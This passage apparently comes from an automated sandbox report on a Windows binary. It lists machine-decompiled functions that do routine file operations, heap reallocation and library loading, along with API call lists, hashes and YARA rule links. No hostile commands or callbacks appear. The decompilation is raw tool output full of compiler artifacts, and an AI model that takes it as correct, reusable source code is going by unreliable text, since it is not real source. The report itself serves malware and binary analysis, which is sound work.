						 *(_t59 + 4) =  *(_t59 + 4) | 0xffffffff;
						_t47 = 0;
						_t56 = _v0;
					}
				} else {
					L8:
					_t56 = _v0;
					_t47 = 0;
					__eflags = 0;
					_t37 = CreateFileW(_a4104, _t56, _t63, 0, 2, 0, 0); // executed
					 *(_t59 + 4) = _t37;
				}
				if( *(_t59 + 4) == 0xffffffff && E0135B32C(_a4104,  &_a4, 0x800) != 0) {
					 *(_t59 + 4) = CreateFileW( &_a4, _t56, _t63, _t47, 2, _t47, _t47);
				}
				 *((char*)(_t59 + 0x12)) = 1;
				 *(_t59 + 0xc) = _t47;
				 *(_t59 + 0x10) = _t47;
				return E0135FAB1(_t59 + 0x1e, _a4104, 0x800) & 0xffffff00 |  *(_t59 + 4) != 0xffffffff;
			}

0x0135952d
0x01359533
0x01359540
0x01359542
0x01359548
0x01359556
0x01359556
0x01359550
0x01359550
0x01359550
0x01359560
0x01359575
0x0135957e
0x01359584
0x0135958e
0x00000000
0x01359590
0x01359590
0x01359594
0x01359596
0x01359596
0x0135959c
0x0135959c
0x0135959c
0x013595a0
0x013595a0
0x013595b0
0x013595b6
0x013595b6
0x013595bd
0x013595eb
0x013595eb
0x013595fd
0x01359602
0x01359605
0x0135961e

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,01359BF3,?,?,013576AC), ref: 013595B0
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,01359BF3,?,?,013576AC), ref: 013595E5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 010eb460bb89330084d862ee327c77c0741c39bd66fc8dd0443560e360145efa
Instruction ID: 84164b9ee2f81a8a4c0628b041c42723a3ad0f8e2a1b9ce0bc429e5c832d88ca
Opcode Fuzzy Hash: 010eb460bb89330084d862ee327c77c0741c39bd66fc8dd0443560e360145efa
Instruction Fuzzy Hash: AD21D2B1004749EFE7718F68C844FA7BBECEB49B6CF00492DF9D582192C274A849CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01359A7E, Relevance: 3.1, APIs: 2, Instructions: 82
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E01359A7E(void* __ecx, void* __esi, signed char _a4, signed int* _a8, signed int* _a12) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed char _v25;
				int _t34;
				signed char _t49;
				signed int* _t51;
				signed char _t57;
				void* _t58;
				void* _t59;
				signed int* _t60;
				signed int* _t62;

				_t59 = __esi;
				_t58 = __ecx;
				if( *(__ecx + 0x18) != 0x100 && ( *(__ecx + 0x18) & 0x00000002) == 0) {
					FlushFileBuffers( *(__ecx + 4));
				}
				_t51 = _a4;
				_t49 = 1;
				if(_t51 == 0 || ( *_t51 | _t51[1]) == 0) {
					_t57 = 0;
				} else {
					_t57 = 1;
				}
				_push(_t59);
				_t60 = _a8;
				_v25 = _t57;
				if(_t60 == 0) {
					L9:
					_a4 = 0;
				} else {
					_a4 = _t49;
					if(( *_t60 | _t60[1]) == 0) {
						goto L9;
					}
				}
				_t62 = _a12;
				if(_t62 == 0 || ( *_t62 | _a4) == 0) {
					_t49 = 0;
				}
				if(_t57 != 0) {
					E0136082F(_t51, _t57,  &_v24);
				}
				if(_a4 != 0) {
					E0136082F(_t60, _t57,  &_v8);
				}
				if(_t49 != 0) {
					E0136082F(_t62, _t57,  &_v16);
				}
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				_t34 = SetFileTime( *(_t58 + 4),  ~(_a4 & 0x000000ff) &  &_v8,  ~(_t49 & 0x000000ff) &  &_v16,  ~(_v25 & 0x000000ff) &  &_v24); // executed
				return _t34;
			}

0x01359a7e
0x01359a84
0x01359a8d
0x01359a98
0x01359a98
0x01359a9e
0x01359aa4
0x01359aa7
0x01359ab4
0x01359ab0
0x01359ab0
0x01359ab0
0x01359ab6
0x01359ab7
0x01359abb
0x01359ac1
0x01359ace
0x01359ace
0x01359ac3
0x01359ac8
0x01359acc
0x00000000
0x00000000
0x01359acc
0x01359ad3
0x01359ad9
0x01359ae3
0x01359ae3
0x01359ae7
0x01359aee
0x01359aee
0x01359af8
0x01359b01
0x01359b01
0x01359b09
0x01359b12
0x01359b12
0x01359b22
0x01359b30
0x01359b40
0x01359b48
0x01359b54

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,0135738C,?,?,?), ref: 01359A98
SetFileTime.KERNELBASE(?,?,?,?), ref: 01359B48

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: a1d8af2203852f332a2fcab0b75abe80e65be014359043536a2ea42de2d7b3bb
Instruction ID: 63ef75aa11f60fbe324cfe20565ed0fc239ac945e6604d305c8a49ca35bd5445
Opcode Fuzzy Hash: a1d8af2203852f332a2fcab0b75abe80e65be014359043536a2ea42de2d7b3bb
Instruction Fuzzy Hash: 4D21D331258386EFEB55DE28C491FABBFE8AF51A0CF08091CBC81C7142D725E908C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01379990, Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E01379990(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x13b07b8 + _a4 * 4;
				_t27 =  *0x138d668; // 0xea6a5ad2
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x138d668; // 0xea6a5ad2
							goto L13;
						}
						 *_t20 = E0136DB10(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E01379A2C( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x138d668; // 0xea6a5ad2
						goto L7;
					}
					_t27 =  *0x138d668; // 0xea6a5ad2
					goto L8;
				}
				L2:
				return _t33;
			}

0x0137999b
0x013799a4
0x013799aa
0x013799b4
0x013799b6
0x013799ba
0x01379a25
0x00000000
0x01379a25
0x013799be
0x013799c4
0x013799ca
0x013799e6
0x013799e6
0x013799e8
0x013799ea
0x01379a15
0x01379a17
0x01379a1f
0x01379a23
0x00000000
0x01379a23
0x013799f6
0x013799fa
0x01379a0f
0x00000000
0x01379a0f
0x01379a03
0x00000000
0x00000000
0x00000000
0x00000000
0x013799cc
0x013799cc
0x013799ce
0x013799d6
0x00000000
0x00000000
0x013799d8
0x013799de
0x00000000
0x00000000
0x013799e0
0x00000000
0x013799e0
0x01379a07
0x00000000
0x01379a07
0x013799c0
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 013799F0
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 013799FD

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 7205656ee893a061639b6212fb4fb89651a137fd730ff4a69f9b34a31be783af
Instruction ID: 6ad1df2924f3b28ab7b93874f0f5f865b0f85f7096f18641c9d2bdec7b985b5d
Opcode Fuzzy Hash: 7205656ee893a061639b6212fb4fb89651a137fd730ff4a69f9b34a31be783af
Instruction Fuzzy Hash: 0711CA33A016265BFF35EE6DEC40A5B77A99B8637CB064320ED15AB288E634DC51C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 01359B57, Relevance: 3.1, APIs: 2, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E01359B57() {
				long _v4;
				void* __ecx;
				void* __ebp;
				long _t12;
				signed int _t14;
				signed int _t21;
				signed int _t22;
				void* _t23;
				long _t32;
				void* _t34;

				_t34 = _t23;
				_t22 = _t21 | 0xffffffff;
				if( *(_t34 + 4) != _t22) {
					L3:
					_v4 = _v4 & 0x00000000;
					_t12 = SetFilePointer( *(_t34 + 4), 0,  &_v4, 1); // executed
					_t32 = _t12;
					if(_t32 != _t22 || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t14 = 0 + _t32;
						asm("adc edx, 0x0");
						goto L8;
					} else {
						if( *((char*)(_t34 + 0x14)) == 0) {
							_t14 = _t22;
							L8:
							return _t14;
						}
						E01356DE2(0x13900e0, 0x13900e0, _t34 + 0x1e);
						goto L7;
					}
				}
				if( *((char*)(_t34 + 0x14)) == 0) {
					return _t22;
				}
				E01356DE2(0x13900e0, 0x13900e0, _t34 + 0x1e);
				goto L3;
			}

0x01359b5b
0x01359b5d
0x01359b68
0x01359b7b
0x01359b7b
0x01359b8d
0x01359b93
0x01359b97
0x01359bb4
0x01359bba
0x01359bbf
0x01359bc1
0x00000000
0x01359ba3
0x01359ba7
0x01359bd0
0x01359bc4
0x00000000
0x01359bc4
0x01359baf
0x00000000
0x01359baf
0x01359b97
0x01359b6e
0x00000000
0x01359bcc
0x01359b76
0x00000000

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 01359B8D
GetLastError.KERNEL32 ref: 01359B99

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ae6006a87f4db4093677dc0dd2a29b979ddb1ca65e215af6706c839f723db699
Instruction ID: 16ed40cb57ab59645f1f20d6904e5cff350ecf85815bab50c0603f77c9ee0757
Opcode Fuzzy Hash: ae6006a87f4db4093677dc0dd2a29b979ddb1ca65e215af6706c839f723db699
Instruction Fuzzy Hash: 1D0196B13002059BF7749F29CC44F6B76DEAB8461CF94453DB942C26C0CA74D848C711

Uniqueness

Uniqueness Score: -1.00%

Function 01359903, Relevance: 3.1, APIs: 2, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E01359903(intOrPtr* __ecx, long _a4, long _a8, long _a12) {
				long _t14;
				void* _t17;
				intOrPtr* _t19;
				long _t21;
				void* _t23;
				long _t25;
				long _t28;
				long _t31;

				_t19 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L13:
					return 1;
				}
				_t28 = _a4;
				_t25 = _a8;
				_t31 = _t25;
				if(_t31 > 0 || _t31 >= 0 && _t28 >= 0) {
					_t21 = _a12;
				} else {
					_t21 = _a12;
					if(_t21 != 0) {
						if(_t21 != 1) {
							_t17 = E013596E1(_t23);
						} else {
							_t17 =  *((intOrPtr*)( *_t19 + 0x14))();
						}
						_t28 = _t28 + _t17;
						asm("adc edi, edx");
						_t21 = 0;
					}
				}
				_a12 = _t25;
				_t14 = SetFilePointer( *(_t19 + 4), _t28,  &_a12, _t21); // executed
				if(_t14 != 0xffffffff || GetLastError() == 0) {
					goto L13;
				} else {
					return 0;
				}
			}

0x01359907
0x0135990d
0x01359972
0x00000000
0x01359972
0x01359910
0x01359914
0x01359917
0x01359919
0x01359943
0x01359921
0x01359921
0x01359926
0x0135992d
0x01359936
0x0135992f
0x01359931
0x01359931
0x0135993b
0x0135993d
0x0135993f
0x0135993f
0x01359926
0x01359948
0x01359957
0x01359962
0x00000000
0x0135996e
0x00000000
0x0135996e

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 01359957
GetLastError.KERNEL32 ref: 01359964

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 19ed8495fcd33f574fc8ddd6b7e0340c8a59069e3530299bb6980b058056a570
Instruction ID: ff80d8ae464e699400621537b6c3d14d0af7fe7555bad371a1eda0634537426d
Opcode Fuzzy Hash: 19ed8495fcd33f574fc8ddd6b7e0340c8a59069e3530299bb6980b058056a570
Instruction Fuzzy Hash: 42019272200206DBCF598F298D44FAF777DBF41A3C7054219ED2A8B251DA30D801C760

Uniqueness

Uniqueness Score: -1.00%

Function 01377B78, Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E01377B78(void* __ecx, void* __edx, void* _a4, long _a8) {
				void* __esi;
				void* _t4;
				long _t7;
				void* _t9;
				void* _t13;
				void* _t14;
				long _t16;

				_t13 = __edx;
				_t10 = __ecx;
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 = _a8;
					__eflags = _t16;
					if(_t16 != 0) {
						__eflags = _t16 - 0xffffffe0;
						if(_t16 <= 0xffffffe0) {
							while(1) {
								_t4 = RtlReAllocateHeap( *0x13b0874, 0, _t14, _t16); // executed
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E01377906();
								if(__eflags == 0) {
									goto L5;
								}
								_t7 = E01376763(_t10, _t13, _t16, __eflags, _t16);
								_pop(_t10);
								__eflags = _t7;
								if(_t7 == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E01377ECC())) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E01377A50(_t14);
					goto L6;
				}
				_t9 = E01377A8A(__ecx, _a8); // executed
				return _t9;
			}

0x01377b78
0x01377b78
0x01377b7e
0x01377b83
0x01377b91
0x01377b94
0x01377b96
0x01377ba1
0x01377ba4
0x01377bcb
0x01377bd5
0x01377bdb
0x01377bdd
0x00000000
0x00000000
0x01377bbc
0x01377bbe
0x00000000
0x00000000
0x01377bc1
0x01377bc6
0x01377bc7
0x01377bc9
0x00000000
0x00000000
0x01377bc9
0x01377bb3
0x00000000
0x01377bb3
0x01377ba6
0x01377bab
0x01377bb1
0x01377bb1
0x01377bb1
0x00000000
0x01377bb1
0x01377b99
0x00000000
0x01377b9e
0x01377b88
0x00000000

APIs

_free.LIBCMT ref: 01377B99

Part of subcall function 01377A8A: RtlAllocateHeap.NTDLL(00000000,?,?,?,01372FA6,?,0000015D,?,?,?,?,01374482,000000FF,00000000,?,?), ref: 01377ABC

RtlReAllocateHeap.NTDLL(00000000,?,?,?,?,013900E0,0135CB18,?,?,?,?,?,?), ref: 01377BD5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: 5c24ceadbeaababad8c59b7747d2f9e446859637a18b8f1eb35ceb8d5205d040
Instruction ID: 28ed56f7e8ec7e1abce8651cfdfc751cbdcb4c6a611ff30fff6a21f5fb42ef5c
Opcode Fuzzy Hash: 5c24ceadbeaababad8c59b7747d2f9e446859637a18b8f1eb35ceb8d5205d040
Instruction Fuzzy Hash: 03F09C3150111A69EB323A2D9C4CF7F3B5D9FD15BCF150156EE18A6190DB3CD50085A1

Uniqueness

Uniqueness Score: -1.00%

Function 01360574, Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01360574(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t14;
				signed int _t15;
				signed int _t17;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					return _t8 + 1;
				}
				_t14 = 0;
				_t17 = _v8;
				_t15 = 1;
				do {
					if((_t17 & _t15) != 0) {
						_t14 = _t14 + 1;
					}
					_t15 = _t15 + _t15;
				} while (_t15 != 0);
				if(_t14 >= 1) {
					return _t14;
				}
				return 1;
			}

0x01360588
0x01360590
0x00000000
0x01360592
0x01360597
0x0136059b
0x0136059e
0x013605a0
0x013605a2
0x013605a4
0x013605a4
0x013605a5
0x013605a5
0x013605ac
0x00000000
0x013605ae
0x013605b3

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 01360581
GetProcessAffinityMask.KERNEL32(00000000), ref: 01360588

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5fb1c48f3d934b193b1ef4179c199781108ab4ced19b499f038e787026e58e27
Instruction ID: b40cb4fface06b1a106ae03323e700ea89127c1868c4e309f2424970004c7be2
Opcode Fuzzy Hash: 5fb1c48f3d934b193b1ef4179c199781108ab4ced19b499f038e787026e58e27
Instruction Fuzzy Hash: BFE09B72E14209E7DB1D86A898068AF77ADD648219B10917ABB42D3304F934DD0147A4

Uniqueness

Uniqueness Score: -1.00%

Function 0135A12F, Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0135A12F(WCHAR* _a4, long _a8) {
				short _v4100;
				int _t12;
				signed int _t18;
				signed int _t19;

				E0136D940();
				_push(_t18);
				_t12 = SetFileAttributesW(_a4, _a8); // executed
				_t19 = _t18 & 0xffffff00 | _t12 != 0x00000000;
				if(_t19 == 0 && E0135B32C(_a4,  &_v4100, 0x800) != 0) {
					_t19 = _t19 & 0xffffff00 | SetFileAttributesW( &_v4100, _a8) != 0x00000000;
				}
				return _t19;
			}

0x0135a137
0x0135a13c
0x0135a143
0x0135a14b
0x0135a150
0x0135a17c
0x0135a17c
0x0135a185

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,01359F65,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 0135A143
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,01359F65,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 0135A174

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: acea9641dc2367439be723bab3f3f645d93604d58d83aaf93751c35ab815675a
Instruction ID: ce9e7f4af943169c56a474360af5095f1fcb7b0733b0ffcef0b1f0e0730072e6
Opcode Fuzzy Hash: acea9641dc2367439be723bab3f3f645d93604d58d83aaf93751c35ab815675a
Instruction Fuzzy Hash: 4CF0A07114020AABDF125F64DC00FEA776DAB14786F448051FC8C96158DB32CA9AFB50

Uniqueness

Uniqueness Score: -1.00%

Function 0136CB57, Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0136CB85
SetDlgItemTextW.USER32(00000065,?), ref: 0136CB9C

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 2c268a4ae5ecb6e09663b940bf227db24ed3121ea5248bf44bc1955b4857d5e1
Instruction ID: f0716de20c3a434d226e18fd076ae60ba5b7b7339c0df7c01e423600ae04b05c
Opcode Fuzzy Hash: 2c268a4ae5ecb6e09663b940bf227db24ed3121ea5248bf44bc1955b4857d5e1
Instruction Fuzzy Hash: EBF02B3250434D7AEB21FBB4DC05F9E3B5D9714789F044495FF04631D5E5726A205B71

Uniqueness

Uniqueness Score: -1.00%

Function 01359E18, Relevance: 3.0, APIs: 2, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E01359E18(WCHAR* _a4) {
				short _v4100;
				int _t10;
				signed int _t16;
				signed int _t17;

				E0136D940();
				_push(_t16);
				_t10 = DeleteFileW(_a4); // executed
				_t17 = _t16 & 0xffffff00 | _t10 != 0x00000000;
				if(_t17 == 0 && E0135B32C(_a4,  &_v4100, 0x800) != 0) {
					_t17 = _t17 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t17;
			}

0x01359e20
0x01359e25
0x01359e29
0x01359e31
0x01359e36
0x01359e5f
0x01359e5f
0x01359e68

APIs

DeleteFileW.KERNELBASE(?,?,?,01359648,?,?,013594A3), ref: 01359E29
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,01359648,?,?,013594A3), ref: 01359E57

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1b6ab63a21dc1fb4bc25cb9e0b5f44e81606fe97814be84ae86697938c2180c4
Instruction ID: 80d126b7877a70ab2e5ad95b07b7c84f92adf7eaa54ee9438d1e855314d8bbab
Opcode Fuzzy Hash: 1b6ab63a21dc1fb4bc25cb9e0b5f44e81606fe97814be84ae86697938c2180c4
Instruction Fuzzy Hash: B9E02230240209ABEB129F74EC00FEA779DEB08785F884062FC88C2154DB71CC95FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01359E7F, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01359E7F(WCHAR* _a4) {
				short _v4100;
				long _t6;
				long _t11;
				long _t13;

				E0136D940();
				_t6 = GetFileAttributesW(_a4); // executed
				_t13 = _t6;
				if(_t13 == 0xffffffff && E0135B32C(_a4,  &_v4100, 0x800) != 0) {
					_t11 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t11;
				}
				return _t13;
			}

0x01359e87
0x01359e90
0x01359e96
0x01359e9b
0x01359ebc
0x01359ec2
0x01359ec2
0x01359eca

APIs

GetFileAttributesW.KERNELBASE(?,?,?,01359E74,?,013574F7,?,?,?,?), ref: 01359E90
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,01359E74,?,013574F7,?,?,?,?), ref: 01359EBC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 69dd20591a6c8672d099db94dd9bcaa3e374c5aabb928b75652aa660f01a6d88
Instruction ID: d25b84db2b4300080fc7b3911d2c69afb063c00cd68ac766bb704b02279a4616
Opcode Fuzzy Hash: 69dd20591a6c8672d099db94dd9bcaa3e374c5aabb928b75652aa660f01a6d88
Instruction Fuzzy Hash: 0DE09B715001189BCB61AB6CDC04FD9B75D9B087E5F004161FD98E3195D6709D45D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0135FCFD, Relevance: 3.0, APIs: 2, Instructions: 25
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0135FCFD(intOrPtr _a4) {
				short _v4100;
				struct HINSTANCE__* _t7;

				E0136D940();
				_t7 = GetSystemDirectoryW( &_v4100, 0x800);
				if(_t7 != 0) {
					E0135B625( &_v4100, _a4,  &_v4100, 0x800);
					_t7 = LoadLibraryW( &_v4100); // executed
				}
				return _t7;
			}

0x0135fd05
0x0135fd18
0x0135fd20
0x0135fd2e
0x0135fd3a
0x0135fd3a
0x0135fd44

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 0135FD18
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0135E7F6,Crypt32.dll,?,0135E878,?,0135E85C,?,?,?,?), ref: 0135FD3A

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
